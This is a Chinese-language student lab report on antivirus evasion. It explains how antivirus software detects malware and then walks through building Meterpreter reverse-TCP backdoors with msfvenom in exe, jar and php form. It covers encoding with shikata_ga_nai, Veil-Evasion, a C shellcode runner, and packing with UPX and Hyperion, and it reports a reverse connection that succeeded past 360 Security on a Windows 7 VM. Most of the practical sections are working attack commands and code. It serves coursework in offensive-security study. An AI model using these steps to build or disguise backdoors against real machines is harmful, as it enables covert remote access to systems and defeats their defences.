2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
免杀原理及基础问题回答
一、免杀原理
- 免杀就是通过一定的手段,将文件进行“整容”,让杀软无法识别,已达到免于被杀软查杀的目的。
- 免杀思路:(1)对病毒木马文件进行修改;(2)拓展病毒木马文件功能,甚至是攻击杀软来达到目的。
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 特征码是指杀软针对相应病毒或木马所特有的特点截取的一段二进制代码(涵盖了十六进制代码、汇编指令等)。杀软就是依靠检查文件特征码来识别一个文件是不是病毒或木马。
- 启发式恶意软件检测:启发式指 “自我发现的能力”或“运用某种方式或方法去判定事物的知识和技能”, 是杀毒软件能够分析文件代码的逻辑结构是否含有恶意程序特征,或者通过在一个虚拟的安全环境中前摄性的执行代码来判断其是否有恶意行为
- 基于行为的恶意软件检测:通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
- 问:免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。
- 问:免杀的基本方法有哪些?
- 改变特征码
- 只有EXE——加壳
- 有shellcode——利用encode进行编码
- 有源代码——用其他语言进行重写再编译
- veil-evasion
- 半手工
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存的操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 改变特征码
三、免杀效果评价
利用VirusTotal或Virscan,可以上传免杀处理过的程序进行检测。
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
在实验二中使用msf生成了后门程序,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
用VirusTotal扫描后结果如下:
- Virscan网站的扫描结果如下:
下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中 - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor.exe
- 进行十次编码
- msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor10.exe
- 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下
- 可见多次编码对免杀没有太大的效果,原因有两点:
- 杀软只要盯住shikata_ga_nai解码(decoder stub)加入exe的部分。
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
2. msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor_java.jar
- 生成文件如下所示:
- 扫描结果如下:
3. msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor.php
- 生成文件如下所示:
- 扫描结果如下:
4. 使用veil-evasion生成后门程序及检测
安装veil
- 因为镜像版本原因,在安装之先执行下面的指令
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 用sudo apt-get install veil-evasion命令安装Veil
- 之后用veil打开veil,输入
y
继续安装直至完成:
- 用use evasion命令进入Evil-Evasion
- 输入命令use c/meterpreter/rev_tcp.py进入配置界面
设置反弹连接IP,命令为:set LHOST 192.168.1.155,注意此处的IP是KaliIP;
设置端口,命令为:set LPORT
- 输入generate生成文件,接着输入你想要playload的名字:veil_c_5311
如上图所示,保存路径为
/var/lib/veil/output/compiled/veil_c_5311.exe
检测一下:
5. 半手工注入Shellcode并执行
- 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= -f c用c语言生成一段shellcode;
- 创建一个文件.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:i686-w64-mingw32-g++ .c -o .exe编译这个.c文件为可执行文件;
- 检测结果如下图:
- 当想要使用windows上执行该程序时,被电脑的360卫士查杀。
任务二:通过组合应用各种技术实现恶意代码免杀
- 使用压缩壳(UPX)
- 给之前的20165318.exe加个壳得到sxx_upxed.exe:
- 还是被杀软查杀了
- 加密壳Hyperion
- 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
- 进入 /usr/share/windows-binaries/hyperion/
- 输入命令wine hyperion.exe -v ljx_upxed.exe ljx_upxed_Hyperion.exe进行加壳:
- 尝试一下反弹连接
- 网页检查一下
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 免杀方法:先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
实验环境:对方电脑为 win7虚拟机,360安全卫士11.4.0.2003(由于我的kali问题,最后一个任务我与5329何佳伟用了同一个win7系统进行反弹连接)
- 反弹连接结果、
离实战还缺些什么技术或步骤?
由于病毒库的更新速度非常的快,我们只有掌握更加成熟的技术来包装病毒才能不被查杀到。
对于实战来说,我还需要学习更多对病毒的改造方法。
实验遇到的问题及解决方法
在安装veil evasion的时候展开包一直失败,后来上网百度了以后才知道这个和版本有关系
输入以下代码之后问题就顺利解决了
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
实践总结与体会
首先那个veil太难装了总出错,一开始装了一个晚上最后还是失败了,这次实验学到了很多知识。
最重要也是最有趣的就是如何把后门软件进行改造来让它伪装骗过所有的杀毒软件,而且实验中
也让我们也见识到了中国杀毒软件的“菜”,学习永无止境!